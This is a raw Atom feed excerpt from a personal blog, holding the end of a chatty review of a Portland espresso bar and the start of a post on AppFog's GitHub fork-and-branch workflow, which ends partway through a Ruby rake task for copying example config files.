my favourite genres of music is shoegaze, equally for it&#39;s use of guitar effect pedals, as for it&#39;s mopey demeanour and the fact that you get to check out lots of sweet tile jobs. This place delivers on the tile job. Nice looking floor, and cool indie-rocker shoes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;employees.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Three employees. The cash register operator, back-liner, and machine operator&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This place is not slacking when it comes to labour cost overhead. They&#39;ve got three extremely talents folks in what looks like a roughly 6x20 space. By all appearances, they run a tight ship.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;inside-out.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Standing at counter, looking out towards street.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The space that the shop is in, is an old commercial storefront in the ground floor of an office building.&lt;/p&gt;&#xA;&lt;p&gt;In days past, these street-level stores had great display areas to entice and delight window-shoppers as they walked by to pop in and buy a hat, watch, dress, or whatever.&lt;/p&gt;&#xA;&lt;p&gt;In the front of space there is a large bay window with floor-to-ceiling glass, and super tall ceilings. Instead of eye-catching wares, the window is lined by thin marble topped standing-only counters.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;bean-bags.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Some beans for sale&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Like any good coffee shop, they also sell beans. Today they had beans for sale from &lt;a href=&#34;http://www.heartroasters.com/&#34;&gt;Heart&lt;/a&gt; and &lt;a href=&#34;http://coavacoffee.com/&#34;&gt;Coava&lt;/a&gt;, which are two of my favourite local roasters. One of the great things about &lt;a href=&#34;http://www.baristapdx.com/&#34;&gt;Barista&lt;/a&gt; is that unlike many of the local shops, they &lt;em&gt;don&#39;t&lt;/em&gt; roast their own beans. Instead they offer a selection of some of the best beans available (both local and not).&lt;/p&gt;&#xA;&lt;p&gt;Variety is always nice, and I love it when I get to try something new and learn about a new roaster.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;counter-ordering.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Standing at counter, our orders being taken&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;On to the order. For Kofahl and I; macchiatos. For Robert, a soy-mocha. There were multiple bean selections available, but being trusting folks, we went with &amp;quot;barista&#39;s choice&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;machine.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The barista at work. La Marzocco machine, including kitschy sign&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;One the counter to the left, in all it&#39;s steam-plume-spouting glory is a brand spanking new &lt;a href=&#34;http://www.lamarzoccousa.com/portfolio/strada-mp/&#34;&gt;La Marzocco Strada MP&lt;/a&gt; machine, this one in matte black. An impressive machine, with an impressive barista wielding it&#39;s power.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-scratch.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Bad picture of Kofahl&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meanwhile, Kofahl poses for a picture... not really.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-better.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Better picture of Kofahl, plus finger&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Kofahl is disappointed with my terrible phone-photography skills. I can understand that. My finger agrees.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;world-clocks.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Hallway just outside of the shop&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;While our drinks are being made, I go for a little wander around the grounds. Just outside in the hall, there is a row of &amp;quot;world clocks&amp;quot; for various Portland city locations around the US... and here I thought we were the only one! ;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-profile.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl, in profile, barista prepares our beverages in background&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make up for my terrible attempts at catching Kofahl in an action shot earlier, I try to take a more flattering picture. Yeah, I&#39;m not really very good at this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;robert-patient.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Robert, waiting patiently for his beverage. Barista close to completion, saucer and spoon prepped&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Quality takes time and appreciating quality takes patience. Robert, a support engineer, is a paragon of patience.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-lightsucker.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl, sucking light out of barista&#39;s head&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Meanwhile, Kofahl busies himself by sucking the knowledge out of the barista&#39;s head, which manifest as a stream of light. OK, maybe not really, but I enjoy the accidental imagery.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;kofahl-sipping.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Kofahl sipping his macchiato. Robert&#39;s hands form a spiky heart, cellphone pendulous in his shirt pocket. The tile floor remains in place.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first of our drinks arrive and Kofahl enjoys the honour of the initial sip. We watch pensively, jealously imagining how awesome the experience must be, living vicariously.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;post-sip.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The macchiato post-sip. Portland buildings from across the street reflected in marble top&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That first sip was too intense. Kofahl needs to take a break. We discuss in abstract terms. I think his brain can&#39;t quite process the coffee&#39;s greatness. Kofahl summarizes, &amp;quot;Pretty good&amp;quot;; the understatement of the century?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;pre-sip.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Troy&#39;s macchiato pre-sip. Foamy top bulges against hydrogen bonding. Physics losing the battle against barista skills.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;My macchiato arrives and I take a moment to capture it in its pre-sip state. A beautiful bulge of milky foam sets on top, barely contained by the diminutive cup. A wonderful presentation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;So, my personal overall conclusion? It&#39;s the best coffee-shop within one block of our offices. IMO, one of the best downtown. I&#39;ll still head over to &lt;a href=&#34;http://www.bluecollarbaking.com/&#34;&gt;Blue Collar Baking&lt;/a&gt; for their amazing bundt cakes, and because they use &lt;a href=&#34;http://www.wateravenuecoffee.com/&#34;&gt;Water Avenue Coffee&lt;/a&gt;, which is one of my favourite roasters in town. There is no compelling reason to go to &lt;a href=&#34;http://stumptowncoffee.com/location/portland/downtown/&#34;&gt;Stumptown on 3rd&lt;/a&gt; unless you wish to sit down and work (which is not possible at this location).&lt;/p&gt;&#xA;&lt;p&gt;The setup is very much like &lt;a href=&#34;http://www.spellacaffe.com/&#34;&gt;Spella&lt;/a&gt; (though larger); Italian style, standing room only, with minimal outdoor seating. You&#39;re meant to get a quick espresso/macchiato, and lounge standing-up with your conversation partner while you sip. The whole experience should take no more than 10 minutes. In and out, a quick diversion on your way to somewhere else.&lt;/p&gt;&#xA;&lt;p&gt;The service was fast and friendly. When we arrived at ~1:15pm on a Tuesday, there were a total of 6 other patrons (three sets of two). This low traffic is probably due the fact that they just opened up. We&#39;ll keep track of how the traffic increases as awareness grows.&lt;/p&gt;&#xA;&lt;h3 id=&#34;some-other-random-comments&#34;&gt;Some Other Random Comments&lt;/h3&gt;&#xA;&lt;p&gt;Kofahl and I were both very pleased with our coffee. My feeling is that it still has a &#39;new machine&#39; taste, which means, to me, that it has a very clear presentation of the coffee&#39;s body with an understated &#39;creaminess&#39;. To me, it seems that as a machine gets broken in, over the course of the first few months of heavy use, that the character of the coffee changes a bit, providing a more blended flavour with a stronger &#39;creaminess&#39;. These of course, are just my made up ways of describing something that I really have no idea how to talk about. It&#39;s also possible I&#39;m completely imagining this and just looking for reasons to say pretentious things.&lt;/p&gt;&#xA;&lt;p&gt;Kofahl comically scraped the last of the coffee out of the cup with his little spoon, because it was that good. I used my finger.&lt;/p&gt;&#xA;&lt;p&gt;Robert comments that the soy-mocha was the best he has ever had. Not sweet, some cinnamon notes in the chocolate. Very smooth.&lt;/p&gt;&#xA;&lt;p&gt;We are pleased.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>How We Use Github To Build AppFog</title>
		<id>https://blog.thoward37.me/articles/how-we-use-github-to-build-appfog</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/how-we-use-github-to-build-appfog" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/how-we-use-github-to-build-appfog" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/how-we-use-github-to-build-appfog" type="text/html"></link>
		<published>2012-05-24T08:00:16+00:00</published>
		<updated>2012-05-24T08:00:16+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Joining &lt;a href=&#34;http://appfog.com/&#34;&gt;AppFog&lt;/a&gt; back in February became my first time working for a company using &lt;a href=&#34;http://github.com/&#34;&gt;Github&lt;/a&gt; &lt;a href=&#34;http://github.com/plans&#34;&gt;private repositories&lt;/a&gt; for source control. My previous gig used &lt;a href=&#34;http://bitbucket.org/&#34;&gt;Bitbucket&lt;/a&gt; and &lt;a href=&#34;http://mercurial.selenic.com/&#34;&gt;Mercurial&lt;/a&gt;, which we migrated to from self-hosted &lt;a href=&#34;http://subversion.tigris.org/&#34;&gt;SVN&lt;/a&gt;, which we migrated to from &lt;a href=&#34;http://www.sourcegear.com/vault/&#34;&gt;SourceGear Vault&lt;/a&gt;, which we migrated to from &lt;a href=&#34;http://msdn.microsoft.com/en-us/library/3h0544kx(v=vs.80).aspx&#34;&gt;Visual Source Safe&lt;/a&gt;... etc. That&#39;s how things go at a 12-year-old company, I guess.&lt;/p&gt;&#xA;&lt;p&gt;As a startup, AppFog can start off on the right foot and just use Github from the get-go. Yippee!&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have used git and Github for a while in open source projects and know the typical workflow of forking and submitting pull requests. AppFog&#39;s workflow is very similar. Here&#39;s how we approach it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;setting-up-your-personal-fork&#34;&gt;Setting Up Your Personal Fork&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/appfog&#34;&gt;AppFog organization&lt;/a&gt; has a number of projects in it. Everyone in the organization has commit access and can create/destroy/modify any of the repositories. We could just clone the repository down, edit the code, commit and push to master...but there&#39;s a better way.&lt;/p&gt;&#xA;&lt;p&gt;Our approach is for each developer to create a fork of the project they want to work on.&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose we have a repository in the AppFog org called &lt;code&gt;yummy-sandwich&lt;/code&gt;. I&#39;d head on over to the project page at &lt;a href=&#34;https://github.com/appfog/yummy-sandwich&#34;&gt;https://github.com/appfog/yummy-sandwich&lt;/a&gt; and click the &lt;code&gt;Fork&lt;/code&gt; button near the top of the page.&lt;/p&gt;&#xA;&lt;p&gt;Once the &amp;quot;hardcore forking action&amp;quot; is over, I now have my own personal fork at &lt;a href=&#34;https://github.com/thoward/yummy-sandwich&#34;&gt;https://github.com/thoward/yummy-sandwich&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can clone that to my dev machine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git clone git@github.com:thoward/yummy-sandwich&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;One thing you&#39;d notice there is that &lt;code&gt;git clone&lt;/code&gt; adds the &lt;code&gt;origin&lt;/code&gt; automatically. That&#39;s great and all, but doesn&#39;t do much for me. I need an easy way to pull upstream changes into my personal fork from the main repository. To do that, I&#39;ll hop into that directory and add the upstream remote:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git remote add upstream git@github.com:appfog/yummy-sandwich&#xA;git fetch upstream&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That&#39;s the basic setup.&lt;/p&gt;&#xA;&lt;h3 id=&#34;modifying-the-code&#34;&gt;Modifying The Code&lt;/h3&gt;&#xA;&lt;p&gt;Now that I&#39;ve got my personal fork configured, I can do whatever I&#39;d like to it without disturbing our pristine shared repository... but to keep things organized and clear, I&#39;m not just going to start tweaking bits and committing to master. Instead, I&#39;ll work entirely on topic branches, regardless of how small or large a change is.&lt;/p&gt;&#xA;&lt;p&gt;The following steps detail how to create a branch, update the code, push changes to the remote, and bring these changes to the attention of the person responsible for merging pull requests.&lt;/p&gt;&#xA;&lt;p&gt;First, I&#39;ll bring the &lt;code&gt;master&lt;/code&gt; up to date using that &lt;code&gt;upstream&lt;/code&gt; remote I created.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# switch to master&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git checkout master&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# pull in latest code&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;git pull upstream master&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will pull all recently-merged changes from the main &lt;code&gt;appfog/yummy-sandwich&lt;/code&gt; repository into my personal fork. Next, I&#39;ll create the branch that I&#39;m going to work on. The naming of the branches takes a special structured form.&lt;/p&gt;&#xA;&lt;h3 id=&#34;branch-names&#34;&gt;Branch Names&lt;/h3&gt;&#xA;&lt;p&gt;We break down the work we do into four distinct types of tasks: bugs, features, chores and hotfixes.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;bug&lt;/code&gt; is a normal bug fix of existing functionality.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;feature&lt;/code&gt; is new functionality.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;chore&lt;/code&gt; is something that adds business value, but doesn&#39;t qualify as a feature (e.g. refactoring).&lt;/p&gt;&#xA;&lt;p&gt;A &lt;code&gt;hotfix&lt;/code&gt; is when we need to fix an immediate problem on a server (if you&#39;re using hotfixes, you&#39;re probably doing something wrong).&lt;/p&gt;&#xA;&lt;p&gt;The branch name itself consists of the branch type, a brief underscore-separated description, and an optional Github Issue number. They are in the format of &lt;code&gt;type/a_brief_description_#&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Suppose I wanted to fix a bug where shared users aren&#39;t able to login to the site. After creating the Github Issue, I would name the branch &lt;code&gt;bug/shared_users_cant_login_123&lt;/code&gt; where 123 is the issue number.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-the-topic-branch&#34;&gt;Creating the Topic Branch&lt;/h3&gt;&#xA;&lt;p&gt;To create the branch, run &lt;code&gt;git checkout -b &amp;lt;branch name&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;branch name&amp;gt;&lt;/code&gt; is the &lt;code&gt;type/description/id&lt;/code&gt; name we just described. For example, using our hypothetical bug fix task from before, I&#39;d run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git checkout -b bug/shared_users_cant_login_123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once I&#39;ve created the branch using the checkout command, follow the normal process of changing code, add/commit, and wrap it up with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git push origin HEAD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After that, use the GitHub web interface to select the branch from the &lt;code&gt;Current Branch&lt;/code&gt; dropdown and issue a &lt;code&gt;Pull Request&lt;/code&gt; back to the original project. So, start to finish, here are the steps to get some work done...&lt;/p&gt;&#xA;&lt;h4 id=&#34;steps-to-work-on-the-branch&#34;&gt;Steps To Work On The Branch&lt;/h4&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checkout master: &lt;code&gt;git checkout master&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Pull in updates: &lt;code&gt;git fetch upstream&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Merge updates into master: &lt;code&gt;git merge upstream/master&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create the branch: &lt;code&gt;git checkout -b bug/branch_description_123&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make the code changes&lt;/li&gt;&#xA;&lt;li&gt;Stage changes for commit: &lt;code&gt;git add &amp;lt;changed filenames&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Commit changes: &lt;code&gt;git commit -m &amp;quot;This is a descriptive commit message&amp;quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Push changes to my personal fork: &lt;code&gt;git push origin HEAD&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;From GitHub, select the branch from the &lt;code&gt;Current Branch&lt;/code&gt; dropdown and issue a &lt;code&gt;Pull Request&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;pull-request-guidelines&#34;&gt;Pull Request Guidelines&lt;/h3&gt;&#xA;&lt;p&gt;There are some basic guidelines around creating pull-requests.&lt;/p&gt;&#xA;&lt;h4 id=&#34;just-say-no-to-auto-merge&#34;&gt;Just Say No To Auto-Merge&lt;/h4&gt;&#xA;&lt;p&gt;Don&#39;t auto-merge the pull request through Github&#39;s interface. Ever.&lt;/p&gt;&#xA;&lt;h4 id=&#34;explain-the-pull-request&#34;&gt;Explain the Pull Request&lt;/h4&gt;&#xA;&lt;p&gt;Why is this pull request here? The branch name should be a &lt;strong&gt;brief&lt;/strong&gt; description, but the pull-request itself should have a slightly more detailed description. Leave a nice, clear description about what the branch is for and why. Reference any issues if necessary. Github makes this super easy. You can just type something like #420 and it will auto-link the issue in.&lt;/p&gt;&#xA;&lt;h4 id=&#34;dont-commit-gemfilelock&#34;&gt;Don&#39;t Commit Gemfile.lock&lt;/h4&gt;&#xA;&lt;p&gt;This one is Ruby-specific. If you didn&#39;t make changes to &lt;code&gt;Gemfile&lt;/code&gt;, don&#39;t commit &lt;code&gt;Gemfile.lock&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;config-files&#34;&gt;Config Files&lt;/h4&gt;&#xA;&lt;p&gt;This one is Rails specific, and is a bit of hyperbole, but relates to our process of using git. If the branch requires the creation of a new config file, say so in the description in big, bold text.&lt;/p&gt;&#xA;&lt;p&gt;Also do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the config file to &lt;code&gt;.gitignore&lt;/code&gt;. We do not store our configs in source control.&lt;/li&gt;&#xA;&lt;li&gt;Provide an example of your config file suitable for development purposes at &lt;code&gt;config/myconfig.example.yml&lt;/code&gt; where &lt;code&gt;myconfig&lt;/code&gt; is your &lt;code&gt;config&lt;/code&gt; and &lt;code&gt;yml&lt;/code&gt; can be any format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We have a rake task &lt;code&gt;configs:copy&lt;/code&gt; that can find those example config files and copy them to the normal names. This is handy when developing locally. On the production servers, the config files are managed separately from source code and are linked into the config directory from another location.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the &lt;code&gt;configs:copy&lt;/code&gt; rake task:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;ss&#34;&gt;:configs&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;desc&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Copy config/*.example.yml files for development.&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;task&lt;/span&gt; &lt;span class=&#34;ss&#34;&gt;:copy&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;require&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;fileutils&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;examples&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;Dir&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;config/*.example.*&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;examples&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;each&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;|&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;realbase&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;basename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;example&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;.example&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;config&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realbase&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}#{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;extname&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;unless&lt;/span&gt; &lt;span class=&#34;no&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exists?&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;realpath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;no&#34;&gt;FileUtils&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cp&lt;/span&gt;&lt;span 